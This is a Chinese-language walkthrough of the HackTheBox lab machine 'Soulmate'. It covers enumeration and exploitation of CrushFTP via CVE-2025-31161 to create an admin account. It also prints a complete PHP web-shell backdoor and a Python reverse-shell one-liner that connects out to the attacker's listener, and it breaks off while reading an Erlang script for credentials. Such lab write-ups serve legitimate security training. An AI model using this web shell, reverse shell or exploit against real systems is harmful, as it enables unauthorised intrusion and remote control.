HackTheBox - Soulmate 渗透测试复盘

机器信息

  • 机器名称:Soulmate
  • URL:https://app.hackthebox.com/machines/Soulmate
  • IP:10.10.11.86
  • 域名/主机:soulmate.htb,ftp.soulmate.htb

初步信息收集

Nmap 扫描结果

对目标 10.10.11.86 进行端口扫描,发现以下域名:

  • soulmate.htb
  • ftp.soulmate.htb

Web 枚举

访问 soulmate.htb

浏览器打开 http://soulmate.htb/,发现这是一个交友网站,允许新用户注册和登录。

主要功能包括:

  • 用户注册与登录
  • 约会资料的创建与管理

目录枚举

feroxbuster -u http://soulmate.htb -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,html,js,json,txt,log -t 50 -e

结果:未发现特别有用的目录。

子域名枚举

ffuf -u http://10.129.xxx.175 -H "Host: FUZZ.soulmate.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fw 4

发现:子域名 ftp.soulmate.htb


FTP 子域分析

访问 ftp.soulmate.htb

访问 http://ftp.soulmate.htb 会重定向至 http://ftp.soulmate.htb/WebInterface/login.html,页面显示为 CrushFTP 登录界面

版本识别

在 HTML 源码中发现了 JS 与 CSS 的版本信息:

<script type="module" crossorigin src="/WebInterface/new-ui/assets/app/components/loader2.js?v=11.W.657-2025_03_08_07_52"></script>

识别版本:CrushFTP 11.W.657(构建时间:2025年3月8日)


漏洞利用

CVE-2025-31161

研究后发现该版本 CrushFTP 存在已知漏洞 CVE-2025-31161

漏洞利用

# 克隆漏洞利用脚本
git clone https://github.com/Immersive-Labs-Sec/CVE-2025-31161.git

# 执行漏洞利用,创建新用户
python3 cve-2025-31161.py --target_host ftp.soulmate.htb --port 80 --target_user root --new_user zero --password 1234

结果:成功创建管理员用户 zero,密码为 1234

管理员访问

  1. 使用 zero:1234 登录
  2. 进入管理面板 http://ftp.soulmate.htb/WebInterface/UserManager/index.html
  3. 修改用户 ben 的密码为 123456

初始访问

上传 Web Shell

  1. 打开 http://ftp.soulmate.htb/#/webProd/
  2. 使用 Add files 功能上传 simplebackdoor.php

简单的 PHP 后门

<!-- 简单的 PHP 后门 by DK (http://michaeldaw.org) -->
<?php
if(isset($_REQUEST['cmd'])){
    echo "<pre>";
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
    echo "</pre>";
    die;
}
?>

使用方法
http://target.com/simplebackdoor.php?cmd=cat+/etc/passwd

反向 Shell

# 启动监听
pwncat-cs --listen --port 4444

# Python 反弹 Shell 载荷
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.xx.1x4",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'

访问点
http://soulmate.htb/simplebackdoor.php?cmd=[PAYLOAD]

注意:一开始尝试访问 http://ftp.soulmate.htb/#/webProd/simplebackdoor.php,结果是文件被下载而非执行。
实测发现文件在主站点根目录可访问:http://soulmate.htb/simplebackdoor.php


初始持久化

系统枚举

./linpeas.sh

结果:发现多个开放端口,其中包括 2222 端口。

2222 端口调查

nc 127.0.0.1 2222

返回结果SSH-2.0-Erlang/5.2.9

表明目标在 2222 端口运行了基于 Erlang 的 SSH 服务。

Erlang 组件发现

通过 LinPEAS 的结果,找到相关 Erlang 组件:

cd /usr/local/lib/erlang_login
ls -al

关键文件

  • /usr/local/lib/erlang_login/start.escript
  • /usr/local/lib/erlang_login/login.escript
  • /usr/local/lib/erlang_login/login_wrapper

凭据发现

cat /usr/local/lib/erlang_login/start.escript